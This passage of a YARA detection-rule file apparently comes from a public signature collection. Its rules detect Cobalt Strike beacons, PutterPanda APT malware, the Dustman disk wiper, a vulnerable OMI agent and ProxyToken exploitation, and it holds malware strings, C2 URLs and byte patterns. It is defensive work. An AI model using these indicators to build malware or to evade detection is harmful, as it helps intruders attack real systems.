		$s204 = { CC CD CC CD CC CE ?? ?? CC CE CC CD CC CE ?? ?? CC CF CC CE CC C8 ?? ?? ?? ?? CC C8 CC CE CC C8 ?? ?? ?? ?? CC C9 CC CD CC CE ?? ?? }
		$s205 = { CD CC CD CC CD CF ?? ?? CD CF CD CC CD CF ?? ?? CD CE CD CF CD C9 ?? ?? ?? ?? CD C9 CD CF CD C9 ?? ?? ?? ?? CD C8 CD CC CD CF ?? ?? }
		$s206 = { CE CF CE CF CE CC ?? ?? CE CC CE CF CE CC ?? ?? CE CD CE CC CE CA ?? ?? ?? ?? CE CA CE CC CE CA ?? ?? ?? ?? CE CB CE CF CE CC ?? ?? }
		$s207 = { CF CE CF CE CF CD ?? ?? CF CD CF CE CF CD ?? ?? CF CC CF CD CF CB ?? ?? ?? ?? CF CB CF CD CF CB ?? ?? ?? ?? CF CA CF CE CF CD ?? ?? }
		$s208 = { D0 D1 D0 D1 D0 D2 ?? ?? D0 D2 D0 D1 D0 D2 ?? ?? D0 D3 D0 D2 D0 D4 ?? ?? ?? ?? D0 D4 D0 D2 D0 D4 ?? ?? ?? ?? D0 D5 D0 D1 D0 D2 ?? ?? }
		$s209 = { D1 D0 D1 D0 D1 D3 ?? ?? D1 D3 D1 D0 D1 D3 ?? ?? D1 D2 D1 D3 D1 D5 ?? ?? ?? ?? D1 D5 D1 D3 D1 D5 ?? ?? ?? ?? D1 D4 D1 D0 D1 D3 ?? ?? }
		$s210 = { D2 D3 D2 D3 D2 D0 ?? ?? D2 D0 D2 D3 D2 D0 ?? ?? D2 D1 D2 D0 D2 D6 ?? ?? ?? ?? D2 D6 D2 D0 D2 D6 ?? ?? ?? ?? D2 D7 D2 D3 D2 D0 ?? ?? }
		$s211 = { D3 D2 D3 D2 D3 D1 ?? ?? D3 D1 D3 D2 D3 D1 ?? ?? D3 D0 D3 D1 D3 D7 ?? ?? ?? ?? D3 D7 D3 D1 D3 D7 ?? ?? ?? ?? D3 D6 D3 D2 D3 D1 ?? ?? }
		$s212 = { D4 D5 D4 D5 D4 D6 ?? ?? D4 D6 D4 D5 D4 D6 ?? ?? D4 D7 D4 D6 D4 D0 ?? ?? ?? ?? D4 D0 D4 D6 D4 D0 ?? ?? ?? ?? D4 D1 D4 D5 D4 D6 ?? ?? }
		$s213 = { D5 D4 D5 D4 D5 D7 ?? ?? D5 D7 D5 D4 D5 D7 ?? ?? D5 D6 D5 D7 D5 D1 ?? ?? ?? ?? D5 D1 D5 D7 D5 D1 ?? ?? ?? ?? D5 D0 D5 D4 D5 D7 ?? ?? }
		$s214 = { D6 D7 D6 D7 D6 D4 ?? ?? D6 D4 D6 D7 D6 D4 ?? ?? D6 D5 D6 D4 D6 D2 ?? ?? ?? ?? D6 D2 D6 D4 D6 D2 ?? ?? ?? ?? D6 D3 D6 D7 D6 D4 ?? ?? }
		$s215 = { D7 D6 D7 D6 D7 D5 ?? ?? D7 D5 D7 D6 D7 D5 ?? ?? D7 D4 D7 D5 D7 D3 ?? ?? ?? ?? D7 D3 D7 D5 D7 D3 ?? ?? ?? ?? D7 D2 D7 D6 D7 D5 ?? ?? }
		$s216 = { D8 D9 D8 D9 D8 DA ?? ?? D8 DA D8 D9 D8 DA ?? ?? D8 DB D8 DA D8 DC ?? ?? ?? ?? D8 DC D8 DA D8 DC ?? ?? ?? ?? D8 DD D8 D9 D8 DA ?? ?? }
		$s217 = { D9 D8 D9 D8 D9 DB ?? ?? D9 DB D9 D8 D9 DB ?? ?? D9 DA D9 DB D9 DD ?? ?? ?? ?? D9 DD D9 DB D9 DD ?? ?? ?? ?? D9 DC D9 D8 D9 DB ?? ?? }
		$s218 = { DA DB DA DB DA D8 ?? ?? DA D8 DA DB DA D8 ?? ?? DA D9 DA D8 DA DE ?? ?? ?? ?? DA DE DA D8 DA DE ?? ?? ?? ?? DA DF DA DB DA D8 ?? ?? }
		$s219 = { DB DA DB DA DB D9 ?? ?? DB D9 DB DA DB D9 ?? ?? DB D8 DB D9 DB DF ?? ?? ?? ?? DB DF DB D9 DB DF ?? ?? ?? ?? DB DE DB DA DB D9 ?? ?? }
		$s220 = { DC DD DC DD DC DE ?? ?? DC DE DC DD DC DE ?? ?? DC DF DC DE DC D8 ?? ?? ?? ?? DC D8 DC DE DC D8 ?? ?? ?? ?? DC D9 DC DD DC DE ?? ?? }
		$s221 = { DD DC DD DC DD DF ?? ?? DD DF DD DC DD DF ?? ?? DD DE DD DF DD D9 ?? ?? ?? ?? DD D9 DD DF DD D9 ?? ?? ?? ?? DD D8 DD DC DD DF ?? ?? }
		$s222 = { DE DF DE DF DE DC ?? ?? DE DC DE DF DE DC ?? ?? DE DD DE DC DE DA ?? ?? ?? ?? DE DA DE DC DE DA ?? ?? ?? ?? DE DB DE DF DE DC ?? ?? }
		$s223 = { DF DE DF DE DF DD ?? ?? DF DD DF DE DF DD ?? ?? DF DC DF DD DF DB ?? ?? ?? ?? DF DB DF DD DF DB ?? ?? ?? ?? DF DA DF DE DF DD ?? ?? }
		$s224 = { E0 E1 E0 E1 E0 E2 ?? ?? E0 E2 E0 E1 E0 E2 ?? ?? E0 E3 E0 E2 E0 E4 ?? ?? ?? ?? E0 E4 E0 E2 E0 E4 ?? ?? ?? ?? E0 E5 E0 E1 E0 E2 ?? ?? }
		$s225 = { E1 E0 E1 E0 E1 E3 ?? ?? E1 E3 E1 E0 E1 E3 ?? ?? E1 E2 E1 E3 E1 E5 ?? ?? ?? ?? E1 E5 E1 E3 E1 E5 ?? ?? ?? ?? E1 E4 E1 E0 E1 E3 ?? ?? }
		$s226 = { E2 E3 E2 E3 E2 E0 ?? ?? E2 E0 E2 E3 E2 E0 ?? ?? E2 E1 E2 E0 E2 E6 ?? ?? ?? ?? E2 E6 E2 E0 E2 E6 ?? ?? ?? ?? E2 E7 E2 E3 E2 E0 ?? ?? }
		$s227 = { E3 E2 E3 E2 E3 E1 ?? ?? E3 E1 E3 E2 E3 E1 ?? ?? E3 E0 E3 E1 E3 E7 ?? ?? ?? ?? E3 E7 E3 E1 E3 E7 ?? ?? ?? ?? E3 E6 E3 E2 E3 E1 ?? ?? }
		$s228 = { E4 E5 E4 E5 E4 E6 ?? ?? E4 E6 E4 E5 E4 E6 ?? ?? E4 E7 E4 E6 E4 E0 ?? ?? ?? ?? E4 E0 E4 E6 E4 E0 ?? ?? ?? ?? E4 E1 E4 E5 E4 E6 ?? ?? }
		$s229 = { E5 E4 E5 E4 E5 E7 ?? ?? E5 E7 E5 E4 E5 E7 ?? ?? E5 E6 E5 E7 E5 E1 ?? ?? ?? ?? E5 E1 E5 E7 E5 E1 ?? ?? ?? ?? E5 E0 E5 E4 E5 E7 ?? ?? }
		$s230 = { E6 E7 E6 E7 E6 E4 ?? ?? E6 E4 E6 E7 E6 E4 ?? ?? E6 E5 E6 E4 E6 E2 ?? ?? ?? ?? E6 E2 E6 E4 E6 E2 ?? ?? ?? ?? E6 E3 E6 E7 E6 E4 ?? ?? }
		$s231 = { E7 E6 E7 E6 E7 E5 ?? ?? E7 E5 E7 E6 E7 E5 ?? ?? E7 E4 E7 E5 E7 E3 ?? ?? ?? ?? E7 E3 E7 E5 E7 E3 ?? ?? ?? ?? E7 E2 E7 E6 E7 E5 ?? ?? }
		$s232 = { E8 E9 E8 E9 E8 EA ?? ?? E8 EA E8 E9 E8 EA ?? ?? E8 EB E8 EA E8 EC ?? ?? ?? ?? E8 EC E8 EA E8 EC ?? ?? ?? ?? E8 ED E8 E9 E8 EA ?? ?? }
		$s233 = { E9 E8 E9 E8 E9 EB ?? ?? E9 EB E9 E8 E9 EB ?? ?? E9 EA E9 EB E9 ED ?? ?? ?? ?? E9 ED E9 EB E9 ED ?? ?? ?? ?? E9 EC E9 E8 E9 EB ?? ?? }
		$s234 = { EA EB EA EB EA E8 ?? ?? EA E8 EA EB EA E8 ?? ?? EA E9 EA E8 EA EE ?? ?? ?? ?? EA EE EA E8 EA EE ?? ?? ?? ?? EA EF EA EB EA E8 ?? ?? }
		$s235 = { EB EA EB EA EB E9 ?? ?? EB E9 EB EA EB E9 ?? ?? EB E8 EB E9 EB EF ?? ?? ?? ?? EB EF EB E9 EB EF ?? ?? ?? ?? EB EE EB EA EB E9 ?? ?? }
		$s236 = { EC ED EC ED EC EE ?? ?? EC EE EC ED EC EE ?? ?? EC EF EC EE EC E8 ?? ?? ?? ?? EC E8 EC EE EC E8 ?? ?? ?? ?? EC E9 EC ED EC EE ?? ?? }
		$s237 = { ED EC ED EC ED EF ?? ?? ED EF ED EC ED EF ?? ?? ED EE ED EF ED E9 ?? ?? ?? ?? ED E9 ED EF ED E9 ?? ?? ?? ?? ED E8 ED EC ED EF ?? ?? }
		$s238 = { EE EF EE EF EE EC ?? ?? EE EC EE EF EE EC ?? ?? EE ED EE EC EE EA ?? ?? ?? ?? EE EA EE EC EE EA ?? ?? ?? ?? EE EB EE EF EE EC ?? ?? }
		$s239 = { EF EE EF EE EF ED ?? ?? EF ED EF EE EF ED ?? ?? EF EC EF ED EF EB ?? ?? ?? ?? EF EB EF ED EF EB ?? ?? ?? ?? EF EA EF EE EF ED ?? ?? }
		$s240 = { F0 F1 F0 F1 F0 F2 ?? ?? F0 F2 F0 F1 F0 F2 ?? ?? F0 F3 F0 F2 F0 F4 ?? ?? ?? ?? F0 F4 F0 F2 F0 F4 ?? ?? ?? ?? F0 F5 F0 F1 F0 F2 ?? ?? }
		$s241 = { F1 F0 F1 F0 F1 F3 ?? ?? F1 F3 F1 F0 F1 F3 ?? ?? F1 F2 F1 F3 F1 F5 ?? ?? ?? ?? F1 F5 F1 F3 F1 F5 ?? ?? ?? ?? F1 F4 F1 F0 F1 F3 ?? ?? }
		$s242 = { F2 F3 F2 F3 F2 F0 ?? ?? F2 F0 F2 F3 F2 F0 ?? ?? F2 F1 F2 F0 F2 F6 ?? ?? ?? ?? F2 F6 F2 F0 F2 F6 ?? ?? ?? ?? F2 F7 F2 F3 F2 F0 ?? ?? }
		$s243 = { F3 F2 F3 F2 F3 F1 ?? ?? F3 F1 F3 F2 F3 F1 ?? ?? F3 F0 F3 F1 F3 F7 ?? ?? ?? ?? F3 F7 F3 F1 F3 F7 ?? ?? ?? ?? F3 F6 F3 F2 F3 F1 ?? ?? }
		$s244 = { F4 F5 F4 F5 F4 F6 ?? ?? F4 F6 F4 F5 F4 F6 ?? ?? F4 F7 F4 F6 F4 F0 ?? ?? ?? ?? F4 F0 F4 F6 F4 F0 ?? ?? ?? ?? F4 F1 F4 F5 F4 F6 ?? ?? }
		$s245 = { F5 F4 F5 F4 F5 F7 ?? ?? F5 F7 F5 F4 F5 F7 ?? ?? F5 F6 F5 F7 F5 F1 ?? ?? ?? ?? F5 F1 F5 F7 F5 F1 ?? ?? ?? ?? F5 F0 F5 F4 F5 F7 ?? ?? }
		$s246 = { F6 F7 F6 F7 F6 F4 ?? ?? F6 F4 F6 F7 F6 F4 ?? ?? F6 F5 F6 F4 F6 F2 ?? ?? ?? ?? F6 F2 F6 F4 F6 F2 ?? ?? ?? ?? F6 F3 F6 F7 F6 F4 ?? ?? }
		$s247 = { F7 F6 F7 F6 F7 F5 ?? ?? F7 F5 F7 F6 F7 F5 ?? ?? F7 F4 F7 F5 F7 F3 ?? ?? ?? ?? F7 F3 F7 F5 F7 F3 ?? ?? ?? ?? F7 F2 F7 F6 F7 F5 ?? ?? }
		$s248 = { F8 F9 F8 F9 F8 FA ?? ?? F8 FA F8 F9 F8 FA ?? ?? F8 FB F8 FA F8 FC ?? ?? ?? ?? F8 FC F8 FA F8 FC ?? ?? ?? ?? F8 FD F8 F9 F8 FA ?? ?? }
		$s249 = { F9 F8 F9 F8 F9 FB ?? ?? F9 FB F9 F8 F9 FB ?? ?? F9 FA F9 FB F9 FD ?? ?? ?? ?? F9 FD F9 FB F9 FD ?? ?? ?? ?? F9 FC F9 F8 F9 FB ?? ?? }
		$s250 = { FA FB FA FB FA F8 ?? ?? FA F8 FA FB FA F8 ?? ?? FA F9 FA F8 FA FE ?? ?? ?? ?? FA FE FA F8 FA FE ?? ?? ?? ?? FA FF FA FB FA F8 ?? ?? }
		$s251 = { FB FA FB FA FB F9 ?? ?? FB F9 FB FA FB F9 ?? ?? FB F8 FB F9 FB FF ?? ?? ?? ?? FB FF FB F9 FB FF ?? ?? ?? ?? FB FE FB FA FB F9 ?? ?? }
		$s252 = { FC FD FC FD FC FE ?? ?? FC FE FC FD FC FE ?? ?? FC FF FC FE FC F8 ?? ?? ?? ?? FC F8 FC FE FC F8 ?? ?? ?? ?? FC F9 FC FD FC FE ?? ?? }
		$s253 = { FD FC FD FC FD FF ?? ?? FD FF FD FC FD FF ?? ?? FD FE FD FF FD F9 ?? ?? ?? ?? FD F9 FD FF FD F9 ?? ?? ?? ?? FD F8 FD FC FD FF ?? ?? }
		$s254 = { FE FF FE FF FE FC ?? ?? FE FC FE FF FE FC ?? ?? FE FD FE FC FE FA ?? ?? ?? ?? FE FA FE FC FE FA ?? ?? ?? ?? FE FB FE FF FE FC ?? ?? }
		$s255 = { FF FE FF FE FF FD ?? ?? FF FD FF FE FF FD ?? ?? FF FC FF FD FF FB ?? ?? ?? ?? FF FB FF FD FF FB ?? ?? ?? ?? FF FA FF FE FF FD ?? ?? }
		$fp1 = "ICSharpCode.Decompiler" wide

	condition:
		any of ( $s* ) and not 1 of ( $fp* )
}

rule CobaltStrike_MZ_Launcher
{
	meta:
		description = "Detects CobaltStrike MZ header ReflectiveLoader launcher"
		author = "yara@s3c.za.net"
		date = "2021-07-08"
		id = "461a4741-11c5-53d9-b8e1-52d64cfe755b"

	strings:
		$mz_launcher = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D }

	condition:
		$mz_launcher
}

rule CobaltStrike_Unmodifed_Beacon
{
	meta:
		description = "Detects unmodified CobaltStrike beacon DLL"
		author = "yara@s3c.za.net"
		date = "2019-08-16"
		id = "8eeb03f9-9698-5a46-b45b-224d5c3f3df7"

	strings:
		$loader_export = "ReflectiveLoader"
		$exportname = "beacon.dll"

	condition:
		all of them
}

rule APT_Malware_PutterPanda_Rel
{
	meta:
		description = "Detects an APT malware related to PutterPanda"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "5367e183df155e3133d916f7080ef973f7741d34"
		id = "980922cb-edfb-50ab-a102-a8168aa2b0e0"

	strings:
		$x0 = "app.stream-media.net" fullword ascii
		$x1 = "File %s does'nt exist or is forbidden to acess!" fullword ascii
		$s6 = "GetProcessAddresss of pHttpQueryInfoA Failed!" fullword ascii
		$s7 = "Connect %s error!" fullword ascii
		$s9 = "Download file %s successfully!" fullword ascii
		$s10 = "index.tmp" fullword ascii
		$s11 = "Execute PE Successfully" fullword ascii
		$s13 = "aa/22/success.xml" fullword ascii
		$s16 = "aa/22/index.asp" fullword ascii
		$s18 = "File %s a Non-Pe File" fullword ascii
		$s19 = "SendRequset error!" fullword ascii
		$s20 = "filelist[%d]=%s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and 1 of ( $x* ) ) or ( 4 of ( $s* ) )
}

rule APT_Malware_PutterPanda_Rel_2
{
	meta:
		description = "APT Malware related to PutterPanda Group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "f97e01ee04970d1fc4d988a9e9f0f223ef2a6381"
		id = "3eef8869-45d6-57a4-a182-c5349b034cf4"

	strings:
		$s0 = "http://update.konamidata.com/test/zl/sophos/td/result/rz.dat?" fullword ascii
		$s1 = "http://update.konamidata.com/test/zl/sophos/td/index.dat?" fullword ascii
		$s2 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii
		$s3 = "Internet connect error:%d" fullword ascii
		$s4 = "Proxy-Authorization:Basic" fullword ascii
		$s5 = "HttpQueryInfo failed:%d" fullword ascii
		$s6 = "read file error:%d" fullword ascii
		$s7 = "downdll.dll" fullword ascii
		$s8 = "rz.dat" fullword ascii
		$s9 = "Invalid url" fullword ascii
		$s10 = "Create file failed" fullword ascii
		$s11 = "myAgent" fullword ascii
		$s12 = "%s%s%d%d" fullword ascii
		$s13 = "down file success" fullword ascii
		$s15 = "error!" fullword ascii
		$s18 = "Avaliable data:%u bytes" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule APT_Malware_PutterPanda_PSAPI
{
	meta:
		description = "Detects a malware related to Putter Panda"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "f93a7945a33145bb6c106a51f08d8f44eab1cdf5"
		id = "e074ab8a-2ca4-579e-aaef-cdfb9c64b21b"

	strings:
		$s0 = "LOADER ERROR" fullword ascii
		$s1 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
		$s2 = "psapi.dll" fullword ascii
		$s3 = "urlmon.dll" fullword ascii
		$s4 = "WinHttpGetProxyForUrl" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule APT_Malware_PutterPanda_WUAUCLT
{
	meta:
		description = "Detects a malware related to Putter Panda"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "fd5ca5a2d444865fa8320337467313e4026b9f78"
		id = "5c8e0629-b5f2-5933-8c74-c49b756aaf18"

	strings:
		$x0 = "WUAUCLT.EXE" fullword wide
		$x1 = "%s\\tmp%d.exe" fullword ascii
		$x2 = "Microsoft Corporation. All rights reserved." fullword wide
		$s1 = "Microsoft Windows Operating System" fullword wide
		$s2 = "InternetQueryOptionA" fullword ascii
		$s3 = "LookupPrivilegeValueA" fullword ascii
		$s4 = "WNetEnumResourceA" fullword ascii
		$s5 = "HttpSendRequestExA" fullword ascii
		$s6 = "PSAPI.DLL" fullword ascii
		$s7 = "Microsoft(R) Windows(R) Operating System" fullword wide
		$s8 = "CreatePipe" fullword ascii
		$s9 = "EnumProcessModules" fullword ascii

	condition:
		all of ( $x* ) or ( 1 of ( $x* ) and all of ( $s* ) )
}

rule APT_Malware_PutterPanda_Gen1
{
	meta:
		description = "Detects a malware "
		author = "YarGen Rule Generator"
		reference = "not set"
		date = "2015-06-03"
		super_rule = 1
		hash0 = "bf1d385e637326a63c4d2f253dc211e6a5436b6a"
		hash1 = "76459bcbe072f9c29bb9703bc72c7cd46a692796"
		hash2 = "e105a7a3a011275002aec4b930c722e6a7ef52ad"
		id = "5e7910e7-3f33-50fb-a87f-bf0bbf8a2797"

	strings:
		$s1 = "%s%duserid=%dthreadid=%dgroupid=%d" fullword ascii
		$s2 = "ssdpsvc.dll" fullword ascii
		$s3 = "Fail %s " fullword ascii
		$s4 = "%s%dpara1=%dpara2=%dpara3=%d" fullword ascii
		$s5 = "LsaServiceInit" fullword ascii
		$s6 = "%-8d Fs %-12s Bs " fullword ascii
		$s7 = "Microsoft DH SChannel Cryptographic Provider" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 5 of them
}

rule Malware_MsUpdater_String_in_EXE
{
	meta:
		description = "MSUpdater String in Executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 50
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "b1a2043b7658af4d4c9395fa77fde18ccaf549bb"
		id = "c7da9e1e-3a8d-54b6-b102-0e1095d99cc4"

	strings:
		$x1 = "msupdate.exe" fullword wide
		$x3 = "msupdater.exe" fullword ascii
		$x4 = "msupdater32.exe" fullword ascii
		$x5 = "msupdater32.exe" fullword wide
		$x6 = "msupdate.pif" fullword ascii
		$fp1 = "_msupdate_" wide
		$fp2 = "_msupdate_" ascii
		$fp3 = "/kies" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) ) and not ( 1 of ( $fp* ) )
}

rule APT_Malware_PutterPanda_MsUpdater_3
{
	meta:
		description = "Detects Malware related to PutterPanda - MSUpdater"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "464149ff23f9c7f4ab2f5cadb76a4f41f969bed0"
		id = "917ab081-ee91-5eda-82eb-4731563a1933"

	strings:
		$s0 = "msupdater.exe" fullword ascii
		$s1 = "Explorer.exe \"" fullword ascii
		$s2 = "FAVORITES.DAT" fullword ascii
		$s4 = "COMSPEC" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule APT_Malware_PutterPanda_MsUpdater_1
{
	meta:
		description = "Detects Malware related to PutterPanda - MSUpdater"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "b55072b67543f58c096571c841a560c53d72f01a"
		id = "3c65b668-52c2-5cd5-ba02-4f190e08d46c"

	strings:
		$x0 = "msupdate.exe" fullword wide
		$x1 = "msupdate" fullword wide
		$s1 = "Microsoft Corporation. All rights reserved." fullword wide
		$s2 = "Automatic Updates" fullword wide
		$s3 = "VirtualProtectEx" fullword ascii
		$s4 = "Invalid parameter" fullword ascii
		$s5 = "VirtualAllocEx" fullword ascii
		$s6 = "WriteProcessMemory" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and 1 of ( $x* ) and 4 of ( $s* ) ) or ( 1 of ( $x* ) and all of ( $s* ) )
}

rule APT_Malware_PutterPanda_MsUpdater_2
{
	meta:
		description = "Detects Malware related to PutterPanda - MSUpdater"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "365b5537e3495f8ecfabe2597399b1f1226879b1"
		id = "e9188a14-5c0c-551c-bdca-9f770f42935a"

	strings:
		$s0 = "winsta0\\default" fullword ascii
		$s1 = "EXPLORER.EXE" fullword ascii
		$s2 = "WNetEnumResourceA" fullword ascii
		$s3 = "explorer.exe" fullword ascii
		$s4 = "CreateProcessAsUserA" fullword ascii
		$s5 = "HttpSendRequestExA" fullword ascii
		$s6 = "HttpEndRequestA" fullword ascii
		$s7 = "GetModuleBaseNameA" fullword ascii
		$s8 = "GetModuleFileNameExA" fullword ascii
		$s9 = "HttpSendRequestA" fullword ascii
		$s10 = "HttpOpenRequestA" fullword ascii
		$s11 = "InternetConnectA" fullword ascii
		$s12 = "Process32Next" fullword ascii
		$s13 = "Process32First" fullword ascii
		$s14 = "CreatePipe" fullword ascii
		$s15 = "EnumProcesses" fullword ascii
		$s16 = "LookupPrivilegeValueA" fullword ascii
		$s17 = "PeekNamedPipe" fullword ascii
		$s18 = "EnumProcessModules" fullword ascii
		$s19 = "PSAPI.DLL" fullword ascii
		$s20 = "SPSSSQ" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 220KB and all of them
}

rule APT_Malware_PutterPanda_Gen4
{
	meta:
		description = "Detects Malware related to PutterPanda"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		super_rule = 1
		hash0 = "71a8378fa8e06bcf8ee9f019c807c6bfc58dca0c"
		hash1 = "8fdd6e5ed9d69d560b6fdd5910f80e0914893552"
		hash2 = "3c4a762175326b37035a9192a981f7f4cc2aa5f0"
		hash3 = "598430b3a9b5576f03cc4aed6dc2cd8a43324e1e"
		hash4 = "6522b81b38747f4aa09c98fdaedaed4b00b21689"
		id = "0b6ce725-6932-5432-acd5-ee3593ac7bd8"

	strings:
		$x1 = "rz.dat" fullword ascii
		$s0 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii
		$s1 = "Internet connect error:%d" fullword ascii
		$s2 = "Proxy-Authorization:Basic " fullword ascii
		$s5 = "Invalid url" fullword ascii
		$s6 = "Create file failed" fullword ascii
		$s7 = "myAgent" fullword ascii
		$z1 = "%s%s%d%d" fullword ascii
		$z2 = "HttpQueryInfo failed:%d" fullword ascii
		$z3 = "read file error:%d" fullword ascii
		$z4 = "down file success" fullword ascii
		$z5 = "kPStoreCreateInstance" fullword ascii
		$z6 = "Avaliable data:%u bytes" fullword ascii
		$z7 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii

	condition:
		filesize < 300KB and ( ( uint16( 0 ) == 0x5a4d and $x1 and 3 of ( $s* ) ) or ( 3 of ( $s* ) and 4 of ( $z* ) ) )
}

rule MAL_ME_RawDisk_Agent_Jan20_1
{
	meta:
		description = "Detects suspicious malware using ElRawDisk"
		author = "Florian Roth (Nextron Systems)"
		reference = "Saudi National Cybersecurity Authority - Destructive Attack DUSTMAN"
		date = "2020-01-02"
		modified = "2022-12-21"
		hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
		id = "0efaae51-1407-5039-9e5a-9c2f13d6a971"

	strings:
		$x1 = "\\drv\\agent.plain.pdb" ascii
		$x2 = " ************** Down With Saudi Kingdom, Down With Bin Salman ************** " fullword ascii
		$s1 = ".?AVERDError@@" fullword ascii
		$s2 = "b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d" fullword wide
		$s3 = "\\\\?\\ElRawDisk" fullword wide
		$s4 = "\\??\\c:" wide
		$op1 = { e9 3d ff ff ff 33 c0 48 89 05 0d ff 00 00 48 8b }
		$op2 = { 0f b6 0c 01 88 48 34 48 8b 8d a8 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 2000KB and ( 1 of ( $x* ) or 4 of them )
}

rule MAL_ME_RawDisk_Agent_Jan20_2
{
	meta:
		description = "Detects suspicious malware using ElRawDisk"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/jfslowik/status/1212501454549741568?s=09"
		date = "2020-01-02"
		modified = "2022-12-21"
		hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
		id = "9817fb22-7bed-5869-aa92-66c458b81c7f"

	strings:
		$x1 = "\\Release\\Dustman.pdb" ascii
		$x2 = "/c agent.exe A" fullword ascii
		$s1 = "C:\\windows\\system32\\cmd.exe" fullword ascii
		$s2 = "The Magic Word!" fullword ascii
		$s3 = "Software\\Oracle\\VirtualBox" fullword wide
		$s4 = "\\assistant.sys" wide
		$s5 = "Down With Bin Salman" fullword wide
		$sc1 = { 00 5C 00 5C 00 2E 00 5C 00 25 00 73 }
		$op1 = { 49 81 c6 ff ff ff 7f 4c 89 b4 24 98 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 3000KB and ( 1 of ( $x* ) or 3 of them )
}

rule VULN_LNX_OMI_RCE_CVE_2021_386471_Sep21
{
	meta:
		description = "Detects a Linux OMI version vulnerable to CVE-2021-38647 (OMIGOD) which enables an unauthenticated RCE"
		author = "Christian Burkard"
		date = "2021-09-16"
		reference = "https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution"
		score = 50
		id = "ca49f0cc-ea33-559c-bd4f-306a01315fce"

	strings:
		$a1 = "/opt/omi/bin/omiagent" ascii fullword
		$s1 = "OMI-1.6.8-0 - " ascii
		$s2 = "OMI-1.6.6-0 - " ascii
		$s3 = "OMI-1.6.4-1 - " ascii
		$s4 = "OMI-1.6.4-0 - " ascii
		$s5 = "OMI-1.6.2-0 - " ascii
		$s6 = "OMI-1.6.1-0 - " ascii
		$s7 = "OMI-1.5.0-0 - " ascii
		$s8 = "OMI-1.4.4-0 - " ascii
		$s9 = "OMI-1.4.3-2 - " ascii
		$s10 = "OMI-1.4.3-1 - " ascii
		$s11 = "OMI-1.4.3-0 - " ascii
		$s12 = "OMI-1.4.2-5 - " ascii
		$s13 = "OMI-1.4.2-4 - " ascii
		$s14 = "OMI-1.4.2-3 - " ascii
		$s15 = "OMI-1.4.2-2 - " ascii
		$s16 = "OMI-1.4.2-1 - " ascii
		$s17 = "OMI-1.4.1-1 - " ascii
		$s18 = "OMI-1.4.1-0 - " ascii
		$s19 = "OMI-1.4.0-6 - " ascii

	condition:
		uint32be( 0 ) == 0x7f454c46 and $a1 and 1 of ( $s* )
}

rule LOG_EXPL_ProxyToken_Exploitation_Aug21_1
{
	meta:
		description = "Detects ProxyToken CVE-2021-33766 exploitation attempts on an unpatched system"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server"
		date = "2021-08-30"
		score = 75
		id = "f4840140-6d31-52f9-b1a0-2acdd4b955cd"

	strings:
		$ss0 = "POST " ascii
		$ss1 = " 500 0 0"
		$sa1 = "/ecp/" ascii
		$sa2 = "/RulesEditor/InboxRules.svc/NewObject" ascii
		$sb1 = "/ecp/" ascii
		$sb2 = "SecurityToken=" ascii

	condition:
		all of ( $ss* ) and ( all of ( $sa* ) or all of ( $sb* ) )
}

rule Generic_Dropper
{
	meta:
		description = "Detects Dropper PDB string in file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
